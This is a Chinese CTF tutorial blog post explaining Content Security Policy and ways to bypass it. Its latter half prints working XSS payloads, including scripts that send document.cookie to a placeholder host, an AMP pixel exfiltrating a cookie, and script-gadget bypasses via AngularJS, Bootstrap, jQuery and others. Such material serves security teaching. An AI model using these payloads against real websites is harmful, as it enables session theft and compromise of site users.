CTF|有关CSP绕过的方法

CTF|有关CSP绕过的方法

CSP

0️⃣CSP的由来?

一个简单的 XSS 漏洞页面,没有对用户的输入进行过滤,就像这样:

<form>
    <input type="text" name="name" value="<?php echo $_GET["name"]; ?>" />
    <input type="submit" value="Submit" />
</form>

对于这样毫无过滤的页面,我们可以轻而易举的进行 XSS。

"/> <script>alert(0)</script> <!--

对于这样的漏洞点来说,我们通常会使用 htmlspecialchars 函数来过滤输入。

htmlspecialchars 函数:将特殊字符转换为 HTML 实体。
& (AND) => &amp;
" (双引号) => &quot;
' (单引号) => &#039;
< (小于号) => &lt; 
> (大于号) => &gt;

类似的输入点还有很多很多。

<a href="xxx">
<script>xxx</script>
<img src="xxx">

刚才的 htmlspecialchars 就没有作用了,为了抵御 XSS,我们必须想想其他的方法。

首先是一些特殊符号,比如:

% * , + – / < = > ^ | ` ; " '

如果将这些符号全部加入黑名单,那正常用户的输入必定会受到限制。

所以程序猿开始使用 htmlspecialchars 函数 + 黑名单 的过滤方法。

on\w+=
script
iframe
link
svg

这样做虽然已经很完美了,但是不能防御今后会发生的情况。那么问题来了,可不可以从浏览器的层面来防御 XSS 漏洞呢?

与是 CSP 就这样诞生了

1️⃣什么是CSP?

CSP 的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

CSP 指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

简而言之就是个门禁,刷卡才能进。

2️⃣CSP的作用?

防 XSS 等攻击的利器。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

3️⃣CSP的分类?

  1. Content-Security-Policy:配置好并启用后,不符合 CSP 的外部资源就会被阻止加载。
  2. Content-Security-Policy-Report-Only:表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。

CSP结构

CSP中常见的header字段为Content-Security-Policy。 一个CSP头由多组CSP策略组成,中间由分号分隔,如下:

Content-Security-Policy: default-src 'self' www.twosecurity.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。

策略指令

default-src

default-src 作为所有其他指令的备用,一般来说 default-src 'none'; script-src 'self' 这样的情况就会是 script-src 遵循 self,其他的都会使用 none。也就是说,除了被设置的指令以外,其余指令都会被设置为 default-src 指令所设置的属性。

该指令包含了以下指令:

  • child-src
  • connect-src
  • font-src
  • img-src
  • media-src
  • object-src
  • script-src
  • style-src

script-src

script-src 指令限制了所有 js 脚本可以被执行的地方,包括通过链接方式加载的脚本 url 以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫 'unsafe-inline',如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。

对于这个属性有个特殊的配置叫 unsafe-eval,它会允许下面几个函数:

eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.

关键字

'none'

代表空集;即不匹配任何 URL。两侧单引号是必须的。

'self'

代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。

'unsafe-inline'

允许使用内联资源,如内联的 script 元素、javascript: URL、内联的事件处理函数和内联的 style 元素,两侧单引号是必须的。

'unsafe-eval'

允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。

数据

data:

允许 data: URI 作为内容来源。这是不安全的,因为攻击者可以精心构造 data: URI 来攻击。请谨慎地使用这个源,并确保不要用于脚本。

mediastream:

允许 mediastream: URI 作为内容来源。

Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

CSP的使用?

一:在HTTP Header上使用

"Content-Security-Policy:" #策略
"Content-Security-Policy-Report-Only:" #策略

二:在HTML上使用

<meta http-equiv="content-security-policy" content="#策略">
<meta http-equiv="content-security-policy-report-only" content="#策略">

Meta 标签与 HTTP 头只是行式不同而作用是一致的,如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义。

如果用户浏览器已经为当前文档执行了一个 CSP 的策略,则会跳过 Meta 的定义。如果 META 标签缺少 content 属性也同样会跳过。

CTF中的CSP绕过

这里简单介绍几种拿 cookie 的绕过思路,没有涉及到的希望大佬们评论区补充完善,小弟感激涕零 。

CSP:

<?php
    if (!isset($_COOKIE['twosecurity'])) {
        setcookie('twosecurity',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP</title>
</head>
<body>
<p>CSP</p>

<?php
    if (isset($_GET['twosecurity'])) {
        echo "Your GET content:".@$_GET['twosecurity'];
    }
?>

</body>
</html>

iframe绕过

如果有两个页面:

<!--a.php-->
<?php
    if (!isset($_COOKIE['twosecurity'])) {
        setcookie('twosecurity',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>

<!DOCTYPE html>
<html>
<head>
    <title>CSP</title>
</head>
<body>
<p>CSP</p>
<?php
    if (isset($_GET['twosecurity'])) {
        echo "Your GET content:".@$_GET['twosecurity'];
    }
?>
</body>
</html>


<!--b.php-->
<!DOCTYPE html>
<html>
<head>
    <title>CSP</title>
</head>
<body>
<p>CSP</p>

<?php
    if (isset($_GET['twosecurity'])) {
        echo "Your GET content:".@$_GET['twosecurity'];
    }
?>

</body>
</html>

前面的 a.php 做了 CSP 保护策略,而 b.php 没有保护。

so,我们可以在 b 页面新建 iframe 用 javascript 直接操作 a 页面的 dom:

<!-- xss 代码,要注意 url 编码 -->
<script>
var iframe = document.createElement('iframe');
iframe.src="./a.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://x.x.x.x/cookie/'+escape(document.cookie),1000);
</script>

location绕过

有的情况 csp 会使用 script-src 'unsafe-inline'; 这个地方可以直接用location.href(window.location/window.open) 绕过

127.0.0.1/csp/?twosecurity=<script>location.href='http://x.x.x.x/cookie/'%2bescape(document.cookie);</script>

CDN绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他 CDN 上的 JS 框架,如果 CDN 上存在一些低版本的框架,就可能存在绕过 CSP 的风险。

CDN,即内容分发网络。CDN 是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN 的关键技术主要有内容存储和分发技术。

这里的 CSP 引用了 cloudflare.com CDN 服务,于是可以采用了低版本的 angular js 模板注入来绕过 CSP,如下

<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
" -->

其原理是,waf 对注释完全可信,所以构造一个 <!-- foo="bar--> <script>alert(1)</script>" -->,只要闭合注释内容,就可以让后面的完全可控,再加上 Client-Side Template Injection 中的手法,绕过 CSP。

存在低版本 angular js 的 cdn 服务商列表:github.com/google/csp-e

除了低版本 angular js 的模板注入,还有许多库可以绕过 CSP。

比如,如果用了 Jquery-mobile 库,且 CSP 中包含 "script-src 'unsafe-eval'" 或者 "script-src 'strict-dynamic'",可以用这个 exp。

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如 RCTF2018 题目出现的 AMP 库,可以使用下面的标签获取名字为 FLAG 的 cookie。

<amp-pixel src="http://x.x.x.x/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

以及,这样的 HTML 代码:

<div data-bind="value:'hello world'"></div>

可这样绕过它:

switch (node.nodeType) {
    case 1: return node.getAttribute(“data-bind”);
var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
    functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
return new Function("$context", "$element", functionBody);
return bindingFunction(bindingContext, node);

这些代码创建了一个 eval() 属性。

data-bind="value: foo" ==> eval("foo")

--------------------------------

为了构建 XSS,一个基于 knockout 的 JS 应用,攻击者需要注入:

<div data-bind="value: alert(1)"></div>

--------------------------------

Ajaxify 小工具使用 class=document-script 将其转换成脚本元素。如果你有一个 XSS 在一个网站上使用 Ajaxify,你只需注入:

Ajaxify:github.com/browserstate

<div class="document-script">alert(1)</div>

Ajaxify 将为你完成后面的工作。

--------------------------------

Bootstrap 拥有“最简单”的小工具,将 HTML 属性值传递给 innerHTML。

Bootstrap 是基于 HTML、CSS、JavaScript 开发的简洁、直观、强悍的前端开发框架,使得 Web 开发更加快捷。
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>

HTML 防护允许 title 属性,因为它通常是安全的。但当与引导和其他数据属性一起使用时,就不一样了。

--------------------------------

Closure 类检测它自己的脚本 URL,然后从相同的位置加载子资源。通过注入其他 HTML 标签,很可能会把 Closure 与从其他地方加载混淆:

<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>

--------------------------------

Require JS 允许用户指定 JavaScript 文件的“main”模块,这是通过自定义数据属性完成的,而 XSS 过滤器和其他缓解机制并不知道这个数据属性。

<script data-main='data:1,alert(1)' src='require.js'></script>

--------------------------------

这是一个 inert 脚本标签:

<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />

Ember*dev 版本只创建一个有效的副本并重新插入它。自从 strict-dynamic CSP 允许动态插入脚本,用这个 payload 绕过它:

<script type=text/x-handlebars>
 <script src=//attacker.example.com// />
</script>

--------------------------------

jQuery 有一个小工具,它接受现有的

<form class="child">
<input name="ownerDocument"/><script>alert(1);</script></form>

严格动态的 CSP 阻塞<script>,然后 jQuery 重新插入它。现在它被信任并将执行。

--------------------------------

  1. 绕过 CSP strict-dynamic via Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>

2. jQuery Mobile 绕过杀毒软件

<div data-role=popup id='--><script>alert(1)</script>'></div>

3. Closure 绕过 NoScript (DOM clobbering)

<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>

4. Dojo Toolkit 绕过 ModSecurity CRS

<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">

5. underscore 模板绕过 CSP unsafe-eval

<div type=underscore/template> <% alert(1) %> </div>

利用条件:

  • CDN服务商存在某些低版本的js库
  • 此CDN服务商在CSP白名单中

meta网页跳转绕过

这个情况的话,可以利用 meta 标签实现网页跳转:

127.0.0.1/csp/?twosecurity=<meta http-equiv="refresh" content="1;url=http://x.x.x.x/" >

站点可控静态资源绕过

给一个绕过 codimd 的 codimd xss

例子中 codimd 的 CSP 中使用了 google-analytics,而 analytics 中提供了自定义 javascript 的功能(google会封装自定义的js,所以还需要 unsafe-eval),于是可以绕过 CSP。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

有关 CSP绕过 的内容就简单介绍到这里。更多有关 CTF 的内容请前往 二向箔安全 进行学习,最近推出了一系列免费的网络安全技能包,有关CTF、渗透测试、网络攻防、黑客技巧尽在其中,学它涨姿势 。

发布于 2019-11-29

文章被以下专栏收录